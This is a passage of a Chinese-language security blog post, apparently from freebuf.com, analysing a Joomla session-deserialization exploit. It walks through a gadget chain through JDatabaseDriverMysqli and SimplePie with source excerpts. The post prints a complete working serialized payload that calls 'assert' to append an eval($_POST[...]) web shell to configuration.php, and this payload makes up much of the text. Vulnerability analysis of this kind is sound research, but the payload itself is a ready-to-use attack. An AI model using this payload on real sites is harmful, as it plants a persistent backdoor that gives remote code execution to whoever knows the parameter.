$a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:";s:9:"secretkey";s:0:"";s:8:"remember";i:0;}s:6:"return";s:39:"index.php?option=com_users&view=profile";}}}}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";N;s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"878c42d725cd32dcc52aa2ca0c848ded";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}
//正常的数据
__default|a:8:{s:15:"session.counter";i:2;s:19:"session.timer.start";i:1588256254;s:18:"session.timer.last";i:1588256254;s:17:"session.timer.now";i:1588256306;s:8:"registry";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:4:"user";O:5:"JUser":26:{s:9:"\0\0\0isRoot";N;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:1:{i:0;s:1:"9";}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:12:"requireReset";N;s:10:"\0\0\0_params";O:24:"Joomla\Registry\Registry":2:{s:7:"\0\0\0data";O:8:"stdClass":0:{}s:9:"separator";s:1:".";}s:14:"\0\0\0_authGroups";N;s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}s:15:"\0\0\0_authActions";N;s:12:"\0\0\0_errorMsg";N;s:13:"\0\0\0userHelper";O:18:"JUserWrapperHelper":0:{}s:10:"\0\0\0_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"d4bc08c9cb28f7a2920ca1851c822d38";s:17:"application.queue";a:1:{i:0;a:2:{s:7:"message";s:46:"Your session has expired. Please log in again.";s:4:"type";s:7:"warning";}}}

可以看到和正常数据不同的地方的后面也有很多类似函数的参数,把上面的格式化一下

__default|
a:8:
{
s:15:"session.counter";
i:3;
s:19:"session.timer.start";
i:1588261345;
s:18:"session.timer.last";
i:1588261347;
s:17:"session.timer.now";
i:1588261570;
s:8:"registry";
O:24:"Joomla\Registry\Registry":2:
{
 s:7:"\0\0\0data";
 O:8:"stdClass":1:
 {
   s:5:"users";
   O:8:"stdClass":1:
   {
     s:5:"login";
     O:8:"stdClass":1:
     {
       s:4:"form";
       O:8:"stdClass":2:
       {
         s:4:"data";
         a:5:
         {
           s:6:"return";s:39:"index.php?option=com_users&view=profile";
           s:8:"username";s:54:"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0";
           s:8:"password";s:603:"AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\'])) eval($_POST[\'mzysekpmmemmyrwlhdzratayojwpxsplcftezgsreidrattndu\']);', FILE_APPEND) || $a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:";
           s:9:"secretkey";s:0:"";
           s:8:"remember";i:0;
         }
         s:6:"return";
         s:39:"index.php?option=com_users&view=profile";
       }
     }
   }
 }
 s:9:"separator";
 s:1:".";
}
s:4:"user";
O:5:"JUser":26:
{
 s:9:"\0\0\0isRoot";N;
 s:2:"id";i:0;
 s:4:"name";N;
 s:8:"username";N;
 s:5:"email";N;
 s:8:"password";N;
 s:14:"password_clear";s:0:"";
 s:5:"block";N;
 s:9:"sendEmail";i:0;
 s:12:"registerDate";N;
 s:13:"lastvisitDate";N;
 s:10:"activation";N;
 s:6:"params";N;
 s:6:"groups";a:1:{i:0;s:1:"9";}
 s:5:"guest";i:1;
 s:13:"lastResetTime";N;
 s:10:"resetCount";N;
 s:12:"requireReset";N;
 s:10:"\0\0\0_params";
 O:24:"Joomla\Registry\Registry":2:
 {
   s:7:"\0\0\0data";
   O:8:"stdClass":0:{}
   s:9:"separator";s:1:".";
 }
 s:14:"\0\0\0_authGroups";N;
 s:14:"\0\0\0_authLevels";a:3:{i:0;i:1;i:1;i:1;i:2;i:5;}
 s:15:"\0\0\0_authActions";N;
 s:12:"\0\0\0_errorMsg";N;
 s:13:"\0\0\0userHelper";
 O:18:"JUserWrapperHelper":0:{}
 s:10:"\0\0\0_errors";a:0:{}
 s:3:"aid";i:0;
}
s:13:"session.token";
s:32:"878c42d725cd32dcc52aa2ca0c848ded";
s:17:"application.queue";
a:1:{i:0;a:2:{s:7:"message";s:69:"Username and password do not match or you do not have an account yet.";s:4:"type";s:7:"warning";}}}

Services 一文中给出所有的字母标示及其含义:

a – array b – boolean d – double i – integer o – common object r – reference s – string C – custom object O – class N – null R – pointer reference U – unicode string

在其中的”;s:8:”password”;s:603:”AAA长度为27,正好为构造的payload,经过read函数的替换之后变为

图片.png

之后经过一个303跳转,请求index.php/component/users/?view=login从新调用read()函数,触发payload

这里的password字段被替换为一个类

查看libraries/joomla/database/driver/mysqli.php中206行

public function __destruct()
{
    $this->disconnect();
}
public function disconnect()
{
    // Close the connection.
    if ($this->connection)
    {
        foreach ($this->disconnectHandlers as $h)
        {
            call_user_func_array($h, array( &$this));
        }
        mysqli_close($this->connection);
    }
    $this->connection = null;
}

存在一个call_user_func_array函数,但是这里面的&$this是我们不可控的,所以需要取寻找另一个利用点,新调用一个对象,在libraries/simplepie/simplepie.php中

图片.png

这里simplepie是没有定义的,所以需要`new JSimplepieFactory()`,并且在SimplePie类中,需要满足`if ($this->cache && $parsed_feed_url[‘scheme’] !== ”)`才能调用下面的`call_user_func`,并且为了满足能够实现函数使用,需要$cache = call\_user\_func(array($this->cache\_class, 'create'), $this->cache\_location, call\_user\_func($this->cache\_name\_function, $this->feed\_url), 'spc');中的cache_name_function和feed_url为我们的函数和命令

在这个序列化的过程中,我没有理解为什么要新new出来一个JDatabaseDriverMysql对象,这个对象`extends`JDatabaseDriverMysqli,难道是为了再调用JDatabaseDriverMysqli中的方法么,如果有大佬知道的话,欢迎留言评论

参考文章

https://xz.aliyun.com/t/6522

https://www.freebuf.com/vuls/216130.html

https://blog.csdn.net/qq_43645782/article/details/105801796

MS08067实验室官网:www.ms08067.com

公众号:” Ms08067安全实验室”

Ms08067安全实验室目前开放知识星球: WEB安全攻防,内网安全攻防,Python安全攻防,KALI Linux安全攻防,二进制逆向入门

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来源:freebuf.com 2021-02-03 20:41:25 by: shuteer

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